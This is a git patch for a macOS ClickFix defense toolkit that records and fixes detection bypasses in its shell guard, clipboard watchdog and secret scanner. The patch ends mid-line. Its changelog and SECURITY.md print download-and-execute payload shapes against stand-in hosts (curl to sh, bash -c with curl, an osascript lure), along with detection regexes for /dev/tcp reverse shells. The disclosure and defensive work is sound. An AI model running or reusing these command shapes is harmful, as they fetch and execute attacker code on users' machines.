From ba2e5acce3cfb87c71837ee5252b5db35c326aa5 Mon Sep 17 00:00:00 2001 From: DareDev256 Date: Wed, 29 Jul 2026 02:52:58 +0800 Subject: [PATCH 1/2] =?UTF-8?q?security:=20v0.1.1=20=E2=80=94=20rewrite=20?= =?UTF-8?q?detection=20as=20a=20tokenizer,=20close=209=20silent=20bypasses?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit v0.1.0's grammar was adversarially tested for the first time and did not hold. Nine of thirteen realistic ClickFix payload shapes passed ShellGuard silently. ExposureScan's headline privacy invariant was false for the secret class it ranks P0. ShellGuard's confirmation prompt could not be completed at all. Every bypass is published in SECURITY.md and asserted in tests/corpus.tsv. DETECTION - New lib/clickfix-grammar.zsh: a tokenizer that respects quoting, splits into statements and pipeline stages, and normalizes each stage's command word before classifying it. Replaces regex-over-raw-string, which could not survive ordinary shell syntax. Closes, among others: curl "https://evil/x?a=1&b=2" | sh ('&' broke the [^|;&]* run) curl https://evil/x | bash; (one trailing char broke the anchor) curl https://evil/x | /bin/sh (a path broke the bare literal) bash -c "$(curl -fsSL https://evil/x)" (no pipe shape existed) $(curl https://evil/x) (substitution with no eval) curl -o /tmp/p https://evil/x; sh /tmp/p (split across statements) osascript -e 'do shell script "curl … | zsh"' (Script Editor lure) - Removed raw.githubusercontent.com / raw.github.com from the default allowlist. Any GitHub account can publish there, so the guard was telling an attacker where to stage a payload it would then wave through in silence. Trust is now scheme+host+path-prefix; the wildcard-subdomain rule is gone. - The allowlist can no longer waive always-hostile rules (osascript, /dev/tcp, quarantine stripping, decoders). v0.1.0 applied it uniformly after every pattern, silently waiving its own osascript rule. - Added xattr quarantine-stripping, hdiutil-of-remote-image, and zero-width / bidi / homoglyph detection. THE CONFIRMATION GATE COULD NOT BE COMPLETED - read -r < /dev/tty inside a ZLE widget never returns: the line editor holds the terminal in raw mode with echo off, and Enter sends CR, not LF. The typed-phrase gate — the entire point of the block tier — was uncompletable. Now uses read-from-minibuffer with an stty sane fallback. - The banner no longer prints the attacker-controlled command raw, so a payload cannot emit ANSI to scroll the warning away or forge a confirmation line. CLIPSENTINEL - _is_allowlisted was a substring test over the whole clipboard and its list contained the token "install.sh", so the published AMOS IOC shape raised nothing. A trailing "# deno.land" silenced the tool entirely. - Both layers now source one grammar; CI fails if either grows a private host list or regex again. They previously disagreed on 6 of 13 payloads while the README claimed they were "kept in lockstep". - The event log no longer stores a preview of the copied text, which contradicted the README's "never stored" promise. EXPOSURESCAN - redact() let a 12-word BIP-39 seed phrase through byte-identical, along with postgres://admin:hunter2@host/db. Notes titles were emitted verbatim and macOS derives them from the note's FIRST LINE. PII filenames were reproduced into every artifact. Seed-phrase detection matched only the label, so a note containing nothing but the twelve words was never flagged. - Ships the 2048-word BIP-39 list; adds control-char, ANSI and markdown neutralisation; 0600 temp copies with signal-safe cleanup; atomic 0600 output. - Dropped immutable=1, which made SQLite ignore the -wal file the code copied, under-counting recent logins in a report that is entirely a risk score. CANARY - canary --list aborted with "kind: unbound variable" on any non-empty ledger, so the advertised audit command had never worked. FALSE POSITIVES (an uninstalled guard catches nothing) - Comment stripping, quoted-vs-unquoted /dev/tcp, python -c requiring BOTH a network and an exec primitive, and a new warn tier for heuristics so the typed phrase never becomes muscle memory. TESTS - tests/corpus.tsv: 78 asserted rows (every bypass + every known FP). - tests/test-zle-integration.zsh: drives a real interactive zsh over a pty and checks a marker file to prove an aborted payload does not execute. - exposurescan: 12 -> 47 tests, incl. end-to-end scan->render->sidecar leak assertions against a synthetic Notes store. - Corpus and pty tests run on macOS runners; [[ =~ ]] binds to the platform regex library, so a Linux-green corpus proves nothing about macOS. DOCS - README: corrected the macOS 26.4 paste-protection description (it does not inspect content; it is suppressed outright when dev tools are present), and narrowed the "genuinely unoccupied control point" claim now that BlockBlock covers paste-time as of Feb 2026. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01AcTJUv94F34MdtGZCGyyur --- .github/workflows/ci.yml | 26 + CHANGELOG.md | 154 ++ README.md | 37 +- SECURITY.md | 128 ++ canary/canary-gen.sh | 5 +- clipsentinel/clipsentinel.sh | 117 +- docs/v0.2.0-plan.md | 361 +++++ exposurescan/README.md | 71 +- exposurescan/bip39.txt | 2048 ++++++++++++++++++++++++++ exposurescan/exposurescan.py | 674 +++++++-- exposurescan/sample-report.md | 123 +- exposurescan/tests/test_invariant.py | 521 +++++++ lib/clickfix-grammar.zsh | 672 +++++++++ shellguard/README.md | 31 +- shellguard/shellguard.zsh | 346 ++--- tests/corpus.tsv | 140 ++ tests/run-corpus.zsh | 114 ++ tests/test-zle-integration.zsh | 139 ++ 18 files changed, 5262 insertions(+), 445 deletions(-) create mode 100644 docs/v0.2.0-plan.md create mode 100644 exposurescan/bip39.txt create mode 100644 exposurescan/tests/test_invariant.py create mode 100644 lib/clickfix-grammar.zsh create mode 100644 tests/corpus.tsv create mode 100755 tests/run-corpus.zsh create mode 100755 tests/test-zle-integration.zsh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 3ae8edf..ce0c951 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -39,6 +39,32 @@ jobs: zsh -n "$f" done + detection-corpus: + name: Detection corpus (macOS) + # MUST run on macOS, not ubuntu. `[[ =~ ]]` and glob ranges bind to the + # platform's regex library, so a Linux-green corpus would not prove macOS + # behaviour — and macOS is the only platform this kit runs on. + runs-on: macos-latest + steps: + - uses: actions/checkout@v4 + - name: Assert every payload shape is classified correctly + # Also fails if either tool stops sourcing the shared grammar, or grows + # its own host allowlist / detection regex again. That drift is what let + # ShellGuard and ClipSentinel silently disagree on 6 of 13 payloads. + run: zsh tests/run-corpus.zsh + + zle-integration: + name: ShellGuard blocks in a real shell (macOS) + runs-on: macos-latest + steps: + - uses: actions/checkout@v4 + - name: Drive an interactive zsh over a pty and check a marker file + # The corpus proves the grammar. This proves the widget is actually + # wired up, that the confirmation prompt can be COMPLETED, and that an + # aborted payload genuinely does not execute. v0.1.0 shipped a + # confirmation gate that could not be completed at all. + run: zsh tests/test-zle-integration.zsh + exposurescan-tests: name: ExposureScan redaction invariants runs-on: ubuntu-latest diff --git a/CHANGELOG.md b/CHANGELOG.md index 18d3c0f..38db435 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,160 @@ All notable changes to the ClickFix Defense Kit are documented here. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.1.1] — 2026-07-29 + +**Security release. If you are running v0.1.0, upgrade.** + +v0.1.0's detection grammar was adversarially tested for the first time and it +did not hold. Nine of thirteen realistic ClickFix payload shapes passed +ShellGuard **silently** — no prompt, no banner, nothing. ExposureScan's headline +privacy invariant was false for the highest-value secret class it ranks P0. And +ShellGuard's confirmation prompt could not actually be completed. + +Every bypass is written up in [SECURITY.md](./SECURITY.md), and every one is now +a row in [`tests/corpus.tsv`](./tests/corpus.tsv) that fails the build if it ever +regresses. This project's whole pitch is refusing claims it cannot back, so it +publishes its own misses. + +### Fixed — ShellGuard (detection) + +- **The grammar is no longer regexes over a raw string.** Detection moved to a + tokenizer in the new shared `lib/clickfix-grammar.zsh`, which respects + quoting, splits into statements and pipeline stages, and normalizes each + stage's command word before classifying it. Evading it now requires changing + what the command *does*, not how it is spelled. Bypasses closed: + - `curl "https://evil/x?a=1&b=2" | sh` — an ordinary `&` in a query string + broke the `[^|;&]*` run, so **any URL with a query string was invisible**. + - `curl https://evil/x | bash;` — one trailing character broke the + `([[:space:]]|$)` anchor. + - `curl https://evil/x | /bin/sh`, `| \sh`, `| 'sh'`, `| command sh`, + `| env sh`, `| sudo -u nobody sh` — a path, a quote, a backslash or a + prefix command defeated the bare-literal interpreter match. + - `bash -c "$(curl -fsSL https://evil/x)"` — no pipe-to-interpreter shape at + all, so nothing matched. This is the Homebrew-installer shape. + - `$(curl https://evil/x)` — a bare command substitution with no `eval`. + - `curl … | tee /tmp/p | sh`, `curl … | gunzip | bash` — an interposed stage. + - `curl -o /tmp/p https://evil/x; sh /tmp/p` — download and execute split + across two statements. Now detected at the `warn` tier. + - `osascript -e 'do shell script "curl … | zsh"'` — the shape used by the + `applescript://` Script Editor lure, which never touches a shell prompt. + - `xxd -r`, `openssl enc -d`, `tr` and other non-base64 decoders. +- **`raw.githubusercontent.com` and `raw.github.com` removed from the default + allowlist.** Any GitHub account can publish an arbitrary script to those + hosts, so v0.1.0 was telling an attacker exactly where to stage a payload it + would then wave through in silence. Trust is now scheme+host+**path prefix** + (`raw.githubusercontent.com/ohmyzsh/` and friends), and the wildcard-subdomain + trust rule is gone. +- **The allowlist can no longer waive the always-hostile rules.** v0.1.0 applied + it uniformly after all patterns, which silently waived its own osascript rule + — the one its source comment called "always hostile". +- Added a never-allowlistable high-risk staging host set (gist, Discord CDN, + pastebin, IPFS, ngrok, transfer.sh …) that escalates the warning instead. +- Added detection for `xattr -c` / `-d com.apple.quarantine` (manually + disarming Gatekeeper) and for `hdiutil attach` of a remote or `/tmp` disk + image (the delivery step in current macOS stealer campaigns). +- Added detection for zero-width, bidi and Cyrillic/Greek look-alike characters + in command position. + +### Fixed — ShellGuard (the confirmation gate could not be completed) + +- **`read -r < /dev/tty` inside a ZLE widget never returned.** While a widget + runs, the line editor holds the terminal in raw mode with echo off: the user + saw nothing as they typed, and because Enter sends CR (not LF) in raw mode, + `read` waited forever. The typed-phrase gate — the entire point of the block + tier — was not completable. It now uses zsh's `read-from-minibuffer`, with an + `stty sane` save/restore fallback. Covered by a new pty-driven integration + test that types into a real interactive zsh and checks a marker file to prove + an aborted payload genuinely does not execute. +- The command is no longer printed raw into the warning banner. It is stripped + of control characters and capped in height, so a payload cannot emit ANSI to + scroll the warning off screen or paint a fake confirmation line into it. + +### Fixed — false positives (an uninstalled guard catches nothing) + +- Unquoted `#` comments are stripped before analysis, so + `ls # dont run curl https://x | sh` no longer prompts — and a decoy trailing + comment no longer suppresses ClipSentinel. +- `/dev/tcp` only fires when it appears **outside** a quoted string, or inside + an interpreter's `-c` program. `git commit -m "note about /dev/tcp/h/9000"` + no longer prompts. +- An inline `python -c` program now requires **both** a network primitive and an + exec primitive. v0.1.0 fired on either alone, so + `python3 -c "import os; os.system(1)"` was flagged with no network involved. +- `curl … | python3 -m json.tool` is downgraded to `warn` rather than blocked. +- **New `warn` tier**: banner plus a single Enter, for heuristics with real + false-positive rates. The typed phrase is reserved for unambiguous attack + shapes, so it does not become muscle memory. + +### Fixed — ClipSentinel + +- **A single token silenced the entire tool.** `_is_allowlisted` was a bare + substring test against the whole clipboard buffer and its list contained + `install.sh`, so `curl https:///get4/install.sh | bash` — the shape + in published AMOS IOCs — raised nothing. `bun.sh` likewise substring-matched + `evil-bun.shop`, and appending `# deno.land` suppressed anything at all. A + ClickFix page controls the exact clipboard bytes, so this was a guaranteed, + attacker-chosen, total suppression. +- ClipSentinel and ShellGuard now share one grammar file. The v0.1.0 README + claimed they were "kept in lockstep"; they disagreed on 6 of 13 payloads. CI + now fails if either tool grows its own host list or detection regex again. +- The event log no longer records a preview of the copied text (which included + the attacker URL) while the README promised contents were "never stored". It + records the verdict, the reason, and a truncated hash — enough to correlate + two events, never enough to recover the payload. + +### Fixed — ExposureScan + +- **The "architecturally incapable of emitting a secret value" claim was false.** + A 12-word BIP-39 seed phrase passed `redact()` byte-identical (no unbroken + 20-character run, no `=`), as did `postgres://admin:hunter2@host/db` and + `PIN 4821 / password hunter2`. `KEY = correct horse battery staple` emitted + three of the four words *and* a literal `` that made the line look + sanitized. +- **Apple Notes titles were emitted verbatim, and Apple derives the title from + the note's first line** — so for the exact user this surface exists for + (someone who pasted a seed phrase into Notes) the secret *was* the title. + Findings now carry `Note #id (title N chars, modified )`. +- **PII filenames were emitted verbatim** into stdout, the markdown report and + the JSON sidecar — a card number in a filename was reproduced and annotated + `credit-card: 1`. Now withheld behind a hash. +- **Seed-phrase *detection* only matched the label** ("seed phrase", + "mnemonic"). A note containing nothing but the twelve words — the actual + catastrophic case — was never flagged at all. +- Ships the 2048-word BIP-39 list; redaction triggers at ≥6 consecutive + wordlist tokens, detection at ≥11. +- Control characters, ANSI escapes and markdown metacharacters are neutralised, + so a crafted filename or note title can no longer inject a forged finding + into the report. +- `shutil.copy2` → `copyfile` + explicit `chmod 0600`: `copystat` was widening + the temp copy of browser Login Data back to the source's 0644. +- Temp database copies are now removed on exception, SIGINT, SIGTERM and + SIGHUP instead of being orphaned in `TMPDIR`. +- `--out`/`--json` are written 0600 and atomically; the README no longer + demonstrates writing a credential map to `/tmp`. +- Dropped `immutable=1`, which made SQLite ignore the `-wal` file the code went + to the trouble of copying — silently under-counting the most recent logins and + cookies in a report whose entire output is a risk score. + +### Fixed — Canary + +- **`canary --list` crashed on any non-empty ledger.** It read the field into + `_kind` and printed `$kind`, and under `set -u` that aborted with + `kind: unbound variable`. The advertised audit command had never worked, so + nobody had ever successfully reviewed a plant — including the missing-decoy + check that is itself a breach signal. + +### Added + +- `lib/clickfix-grammar.zsh` — the shared, tokenizer-based detection grammar. +- `tests/corpus.tsv` — 78 asserted payload/verdict rows, including every + v0.1.0 bypass and every known false positive. +- `tests/run-corpus.zsh` — corpus runner plus the anti-drift assertion. +- `tests/test-zle-integration.zsh` — drives a real interactive zsh over a pty. +- `exposurescan/tests/test_invariant.py` — 35 new tests, including end-to-end + scan→render→sidecar assertions that no secret reaches any artifact. +- CI now runs the corpus and the pty integration test on **macOS** runners. + ## [Unreleased] ### Added diff --git a/README.md b/README.md index a70ea9a..3c8b19f 100644 --- a/README.md +++ b/README.md @@ -62,9 +62,22 @@ This is the part most people get wrong, so it's worth stating plainly: and pipes **straight into a shell** without ever landing as a launched file — never gets that attribute and never triggers a file-launch check. Gatekeeper is **structurally bypassed, not defeated.** There is nothing for it to scan. -- **The macOS 26.4 Terminal paste-warning is warn-only and user-overridable** - ("Paste Anyway"), and it keys off the source app — so it provably misses a - `curl | bash` the page placed on the clipboard from a browser the user trusts. +- **The macOS 26.4 Terminal paste-warning does not inspect what you pasted, and + on a developer's Mac it is usually not running at all.** Per public reversing + of `xprotectd` (Adam Codega, corroborated by Patrick Wardle), the alert does + not examine paste *contents* — pasting `hello world` triggers it too. It + matches the source app's signing identifier against a fixed list. What + actually matters is that it is **suppressed entirely** when developer tools + are present, when Terminal has been opened recently, and when SIP is + disabled. Every one of those describes this kit's audience, so Apple's paste + protection is effectively **inactive on exactly the machines most likely to be + attacked through a terminal**. + + > *Correction:* v0.1.0 of this README said the alert "keys off the source app + > — so it provably misses a `curl | bash` from a browser the user trusts." + > That was wrong; a browser is precisely what it *does* flag. The real gap is + > the exemption conditions above, which is a stronger argument, and the kit + > was leaving it on the table while stating something falsifiable. - **TCC (Privacy & Security prompts)** gate *file-category* and *automation* access — but the malware runs through already-trusted, Apple-signed binaries (`Terminal`, `bash`, `osascript`) that inherit the user's own grants, and the @@ -86,16 +99,18 @@ persist → exfiltrate**, plus a self-audit of what's already exposed. | Tool | Stage it covers | What it actually stops / does | Honest positioning vs. prior art | |------|-----------------|-------------------------------|----------------------------------| -| **[ShellGuard](./shellguard)** | **Execute** | A zsh ZLE `accept-line` guard. Intercepts download/decode-and-execute commands (`curl\|sh`, `eval $(curl)`, `base64 -d\|sh`, `osascript\|sh`, `/dev/tcp` reverse shells) **at the moment you press Enter** and forces a typed confirmation phrase. | **The genuinely unoccupied control point on macOS.** Existing detections are Windows/PowerShell-focused, browser-side, or source-app heuristics that provably miss a pasted `curl\|bash`. ShellGuard gates at the last, most authoritative moment: execution. | +| **[ShellGuard](./shellguard)** | **Execute** | A zsh guard that tokenizes the command you are about to run, and stops download/decode-and-execute shapes **at the moment you press Enter** — two tiers: a typed confirmation phrase for unambiguous attacks, a single Enter for heuristics. | **The zero-permission control point.** Objective-See's **BlockBlock** added ClickFix protection at Cmd+V in Feb 2026 and inspects real paste content — if you will install a system extension, run it. ShellGuard's remaining honest claim is narrower and still real: it needs **no root, no kext, no system extension and no TCC grant**, it is the only layer that fires on a **typed** (not pasted) command, and it gates at the last authoritative moment: execution. | | **[ExposureScan](./exposurescan)** | **Self-audit** | A read-only, **names-and-counts-only** scan of four surfaces (browser logins, Apple Notes, `.env` files, `~/.secrets`, plus PII markers) that prints a **blast-radius map ranked by pivot value** — never a single secret value. | **Inverts the trufflehog/gitleaks posture.** Those tools *find and print the value*. ExposureScan answers *"what would a stealer walk away with?"* with the values **architecturally absent from the code path**. That inversion is the product. | -| **[ClipSentinel](./clipsentinel)** | **Copy** | A dependency-free clipboard watchdog. Fires a macOS notification the instant a dangerous command lands on your clipboard — the earliest interception point, before any terminal is involved. | Early-warning siren. It **cannot block a paste** (macOS exposes no API to). The authoritative block is ShellGuard; ClipSentinel buys you a beat of awareness first. | +| **[ClipSentinel](./clipsentinel)** | **Copy** | A dependency-free clipboard watchdog. Fires a macOS notification the instant a dangerous command lands on your clipboard — the earliest interception point, before any terminal is involved. | **Use BlockBlock instead if you'll install a system extension** — since Feb 2026 it inspects actual paste content at Cmd+V and does this job better. ClipSentinel is the **zero-permission fallback**: nothing to approve, nothing to trust with root, which is the difference between a family member having *something* and having nothing. It cannot block a paste (macOS exposes no API to); the authoritative block is ShellGuard. | | **[Canary](./canary)** | **Detect breach** | A honeytoken generator. Plants traceable decoy credentials (fake AWS keys, `.env`, `passwords.txt`) where stealers grab them, with a walkthrough to wire them to **canarytokens.org** (network callback) and/or `eslogger` (local read-watch). | The network-callback half is **Thinkst Canarytokens' / Objective-See's** territory and they win it — this tool is the *turnkey placement + literacy layer* around them. The only additive sliver is the `eslogger` local-read tripwire for a "read-and-walk-away" attacker. | | **[WatchPost](./watchpost)** | **Persist** | A zero-dependency, cron-scheduled persistence + login-item baseline-diff for **unattended** Macs (e.g. a headless Mac Mini). Flags new/tampered LaunchAgents, LaunchDaemons, cron, and login items with a `codesign` verdict. | **Objective-See's BlockBlock/KnockKnock win the real-time, signing-aware version** — use those on a Mac you sit at. WatchPost's only non-duplicative slice is the **headless, notification-wired** diff for a machine where an interactive prompt can't reach you. | | **[GuestMode](./guestmode)** | **Contain** | A safe wrapper + manual guide for creating a **standard, non-admin** macOS account for movie night / family / guests, so a phished password can't escalate and the guest can't read your `~/dev` or `~/.secrets`. | A **stock-macOS** blast-radius reducer. No novelty in the mechanism — the value is packaging the right setting with the right honest explanation for the exact victim profile. Containment, not prevention. | > **A note on honesty (read it):** the kit's real novelty is **not** any single -> monitor. It's three things stacked: (1) **ShellGuard's** execute-time zsh -> grammar gate, a genuinely unoccupied control point on macOS; (2) +> monitor. It's three things stacked: (1) **ShellGuard's** execute-time, +> zero-permission grammar gate — no longer an *unoccupied* control point, since +> BlockBlock now covers paste-time, but still the only one that needs no +> system extension and the only one that sees a typed command; (2) > **ExposureScan's** names-and-counts-only, four-surface, blast-radius-framed > self-audit, which inverts the entire find-and-print-the-value posture of > secret scanners into a personal attack-surface map — and physically removing @@ -184,10 +199,10 @@ This is education and self-defense. Treat it that way. ## The honest novelty, one more time -If you only remember one thing: the differentiated, genuinely-new pieces are -**ExposureScan** (the value-absent, blast-radius-framed self-audit) and -**ShellGuard** (the execute-time zsh grammar gate on a control point nothing else -occupies on macOS). Everything else is careful glue, honest packaging, and a +If you only remember one thing: the differentiated pieces are **ExposureScan** +(the value-absent, blast-radius-framed self-audit) and **ShellGuard** (the +execute-time grammar gate that costs the user no permission grant at all). +Everything else is careful glue, honest packaging, and a literacy layer aimed at the real-world ClickFix victim — the tired person on the couch trying to watch a movie — instead of the enterprise SOC. That victim was me. This is the kit I wish I'd had installed that night. diff --git a/SECURITY.md b/SECURITY.md index ee2dc42..cde15c9 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -111,3 +111,131 @@ In scope: the code in this repository (the six tools, the installers, the docs). Out of scope: the upstream tools this kit points you at (Objective-See, Thinkst Canarytokens, Gitleaks, macOS itself) — report those to their maintainers. + +--- + +## Published bypasses in v0.1.0 (fixed in v0.1.1) + +This project's pitch is that it refuses claims it cannot back. That has to +include claims about itself, so this section documents — in full, with the +working payload shapes — what the first release got wrong. + +v0.1.0's detection grammar was adversarially tested for the first time in July +2026. It did not hold. **Nine of thirteen realistic ClickFix payload shapes +passed ShellGuard silently**: no prompt, no banner, no log entry. The repo was +public and the grammar was readable, so these were rediscoverable by anyone who +opened `shellguard.zsh`. Publishing them is strictly better than leaving users +on v0.1.0 believing they were covered. + +**If you are running v0.1.0, upgrade.** Every payload below is now an asserted +row in `tests/corpus.tsv` and fails CI if it regresses. + +### ShellGuard — detection (all silent passes on v0.1.0) + +| Payload shape | Why it passed | +|---|---| +| `curl "https://evil/x?a=1&b=2" \| sh` | the `[^\|;&]*` run could not cross the `&` in an ordinary query string | +| `curl https://evil/x \| bash;` | one trailing character broke the `([[:space:]]\|$)` anchor | +| `curl https://evil/x \| /bin/sh` | the interpreter had to be a bare literal, so a path defeated it | +| `curl https://evil/x \| \sh` / `\| 'sh'` / `\| command sh` | same, via a backslash, a quote, or a prefix command | +| `bash -c "$(curl -fsSL https://evil/x)"` | no pipe-to-interpreter shape existed to match | +| `$(curl https://evil/x)` | a bare command substitution, with no `eval` prefix | +| `curl … \| tee /tmp/p \| sh` | an interposed pipeline stage | +| `curl -o /tmp/p https://evil/x; sh /tmp/p` | download and execute split across two statements | +| `osascript -e 'do shell script "curl … \| zsh"'` | the `applescript://` Script Editor lure, which never touches a shell prompt | + +### ShellGuard — the trusted-host allowlist + +`raw.githubusercontent.com` and `raw.github.com` shipped in the **default** +allowlist. Any GitHub account can publish an arbitrary shell script to those +hosts with zero review, so: + +``` +curl -fsSL https://raw.githubusercontent.com///main/x.sh | sh +``` + +passed **silently** — the guard was telling an attacker exactly where to stage a +payload it would then wave through. The allowlist was also applied uniformly +after every pattern, which silently waived the tool's own osascript rule, the +one its source comment described as always hostile. + +Trust is now scheme + host + **path prefix**, and the wildcard-subdomain rule is +gone. A host the public can publish to can never again be a trust anchor by +hostname alone. + +### ShellGuard — the confirmation gate could not be completed + +`IFS= read -r answer < /dev/tty` inside a ZLE widget never returns. While a +widget is running the line editor holds the terminal in raw mode with echo +disabled: the user sees nothing as they type, and Enter sends CR rather than LF, +which `read` does not accept as a terminator. **The typed-phrase gate — the +entire purpose of the block tier — was not completable.** Fixed via zsh's +`read-from-minibuffer`, with an `stty sane` save/restore fallback, and now +covered by a pty-driven test that types into a real interactive zsh and checks a +marker file. + +The warning banner also printed the attacker-controlled command verbatim, so a +payload could emit ANSI to scroll the warning off screen or paint a fake +confirmation line into the kit's own output. + +### ClipSentinel — one token silenced the whole tool + +`_is_allowlisted` was a bare substring test against the entire clipboard buffer, +and its list contained the token `install.sh`. Since a ClickFix page controls the +exact clipboard bytes, this was a guaranteed, attacker-chosen suppression: + +``` +curl -fsSL https:///get4/install.sh | bash # the published AMOS IOC shape +curl -s https://evil-bun.shop/p | bash # 'bun.sh' substring-matched +curl http://evil/p | bash # deno.land # a trailing comment silenced it +``` + +The v0.1.0 README also claimed ClipSentinel's grammar was "kept in lockstep with +ShellGuard's". It was not — the two disagreed on 6 of 13 payloads, because each +file carried its own copy. Both now source `lib/clickfix-grammar.zsh`, and CI +fails if either grows a private host list or detection regex again. + +ClipSentinel's event log also recorded a 117-character preview of the copied +text, including the attacker URL, while the README stated contents were "never +stored or sent anywhere". It now logs a verdict, a reason and a truncated hash. + +### ExposureScan — the privacy invariant was false + +The README claimed the tool was "architecturally incapable of emitting a secret +value". For the highest-value secret class it ranks P0, it was not: + +- A 12-word BIP-39 seed phrase passed `redact()` **byte-identical** — no + unbroken 20-character run and no `=`, so neither rule engaged. +- `postgres://admin:hunter2@db.internal:5432/prod` passed unchanged. +- `KEY = correct horse battery staple` emitted three of the four words *and* a + literal ``, so the line read as sanitized when it was not. +- Apple Notes titles were emitted verbatim — and macOS derives a note's title + from its **first line**. For the exact person this surface exists for, someone + who pasted a seed phrase into Notes, the secret *was* the title. +- A filename containing a card number was reproduced verbatim into stdout, the + markdown report and the JSON sidecar, annotated `credit-card: 1`. +- Worse than the redaction bug: seed-phrase **detection** only matched the + *label* ("seed phrase", "mnemonic"), so a note containing nothing but the + twelve words was never flagged at all. + +All are fixed and covered by end-to-end tests that run the real scanner against +a synthetic Notes store and assert no secret reaches any artifact. + +### Canary + +`canary --list` aborted with `kind: unbound variable` on any non-empty ledger +(`read -r ... _kind` then `print "$kind"` under `set -u`). The advertised audit +command had never worked, so nobody had ever successfully reviewed a plant — +including the missing-decoy check that is itself a breach signal. + +### What this changed about how the kit is built + +Detection now lives in one tokenizer, `lib/clickfix-grammar.zsh`, shared by both +layers. It is asserted by `tests/corpus.tsv`, which contains every payload above +plus every known false positive, and runs on **macOS** CI runners — `[[ =~ ]]` +binds to the platform regex library, so a Linux-green corpus proves nothing +about the only platform this kit runs on. + +The general lesson, stated plainly: a hand-written regex over an unparsed shell +command cannot survive ordinary shell syntax. If you are building something +similar, parse the command. diff --git a/canary/canary-gen.sh b/canary/canary-gen.sh index 1e6364b..891c9b9 100755 --- a/canary/canary-gen.sh +++ b/canary/canary-gen.sh @@ -195,7 +195,10 @@ do_list() { return 0 fi # Pretty-print the ledger; flag any decoy that has since been deleted. - tail -n +2 "$LEDGER" | while IFS=$'\t' read -r marker path _kind _created; do + # NOTE: this loop PRINTS $kind, so the field must not be named _kind — under + # `set -u` an underscore-prefixed read target left $kind unbound and aborted + # `--list` on any non-empty ledger (fixed 2026-07-29). + tail -n +2 "$LEDGER" | while IFS=$'\t' read -r marker path kind _created; do if [ -e "$path" ]; then printf ' %s%-22s%s %-18s %s\n' "$GRN" "$marker" "$RST" "$kind" "$path" else diff --git a/clipsentinel/clipsentinel.sh b/clipsentinel/clipsentinel.sh index aa32190..fd15a7d 100755 --- a/clipsentinel/clipsentinel.sh +++ b/clipsentinel/clipsentinel.sh @@ -80,71 +80,41 @@ fi # ============================================================================== # DANGEROUS-PATTERN MATCHER # -# Kept deliberately in lockstep with ShellGuard's grammar so the two layers -# agree on what "dangerous" means. We match the *kill chain*, not the mere -# presence of curl — matching bare `curl` would train users to ignore the -# warning. We require: -# - download piped INTO an interpreter (curl|wget|fetch ... | sh/bash/...) -# - eval/exec of a command substitution (eval $(curl ...)) -# - base64 decode piped into an interpreter (base64 -d ... | sh) -# - a long base64 blob piped into base64 (echo | base64 -d ...) -# - bash /dev/tcp reverse-shell redirects -# - osascript piped into a shell +# As of v0.1.1 the grammar is NOT defined here. ClipSentinel and ShellGuard both +# source ../lib/clickfix-grammar.zsh, so the copy-time and execute-time layers +# are the same code and cannot disagree. # -# ALLOWLIST: well-known legitimate installers (rustup, Homebrew, nvm, oh-my-zsh, -# Docker, Deno, Bun, get.docker.com, etc.) are suppressed. False positives are -# the #1 reason users disable a guard, so we err toward not crying wolf on the -# canonical install one-liners. The allowlist is host-based and intentionally -# narrow. +# They used to. v0.1.0's README claimed this matcher was "kept deliberately in +# lockstep with ShellGuard's grammar"; a red-team pass found the two layers +# disagreeing on 6 of 13 payloads. Worse, the old _is_allowlisted was a bare +# SUBSTRING test against the whole clipboard buffer, and its list contained the +# token 'install.sh' — so `curl https:///get4/install.sh | bash`, the +# shape in published AMOS IOCs, was suppressed entirely. A ClickFix page +# controls the exact clipboard bytes, so that was a guaranteed one-token +# silencing of this whole tool. Trust is now scheme+host+path-prefix, in one +# shared file, asserted by ../tests/corpus.tsv on every commit. # ============================================================================== -# Trusted install hostnames. If a download-pipe references ONLY these hosts, -# we stay quiet. (Tighten or extend to taste — but keep it short.) -typeset -a ALLOWLIST_HOSTS -ALLOWLIST_HOSTS=( - 'sh.rustup.rs' - 'static.rust-lang.org' - 'get.docker.com' - 'raw.githubusercontent.com/ohmyzsh' # oh-my-zsh installer - 'raw.githubusercontent.com/Homebrew' # Homebrew installer - 'raw.githubusercontent.com/nvm-sh' # nvm installer - 'deno.land' - 'bun.sh' - 'install.sh' # generic local installer path token -) +_CLIPSENTINEL_DIR=${${(%):-%x}:A:h} +_CLICKFIX_GRAMMAR_PATH=${CLICKFIX_GRAMMAR_PATH:-${_CLIPSENTINEL_DIR:h}/lib/clickfix-grammar.zsh} -# Returns 0 (true) if the text matches the dangerous ClickFix shell grammar. -_is_dangerous() { - local buf="$1" - - # Regex pieces (POSIX ERE via zsh =~). Mirror of ShellGuard. - local re='(curl|wget|fetch)[^|;]*(\|[[:space:]]*(sudo[[:space:]]+)?(sh|bash|zsh|python[0-9.]*|perl|ruby|node|osascript))' - re+='|(eval|exec)[[:space:]]+["'"'"']?\$\((curl|wget|fetch)' - re+='|base64[[:space:]]+(--?d(ecode)?|-D)[^|]*\|[[:space:]]*(sh|bash|zsh|python[0-9.]*|perl|ruby)' - re+='|(echo|printf)[[:space:]]+[A-Za-z0-9+/=]{40,}[^|]*\|[[:space:]]*base64' - re+='|/dev/(tcp|udp)/' - re+='|osascript[^|]*\|[[:space:]]*(sh|bash|zsh)' - - if [[ "$buf" =~ $re ]]; then - return 0 - fi - return 1 +if [[ ! -r $_CLICKFIX_GRAMMAR_PATH ]]; then + print -u2 -- "[clipsentinel] FATAL: cannot read ${_CLICKFIX_GRAMMAR_PATH}" + print -u2 -- "[clipsentinel] refusing to run — a watchdog that silently matches nothing is worse than none." + exit 1 +fi +source "$_CLICKFIX_GRAMMAR_PATH" || { + print -u2 -- "[clipsentinel] FATAL: grammar failed to load — refusing to run." + exit 1 } -# Returns 0 (true) if EVERY URL/host reference in the buffer is on the -# allowlist — i.e. this looks like a known-good installer and we should stay -# quiet. If there is any off-allowlist host, we do NOT suppress. -_is_allowlisted() { - local buf="$1" - local h matched=0 hit - for h in 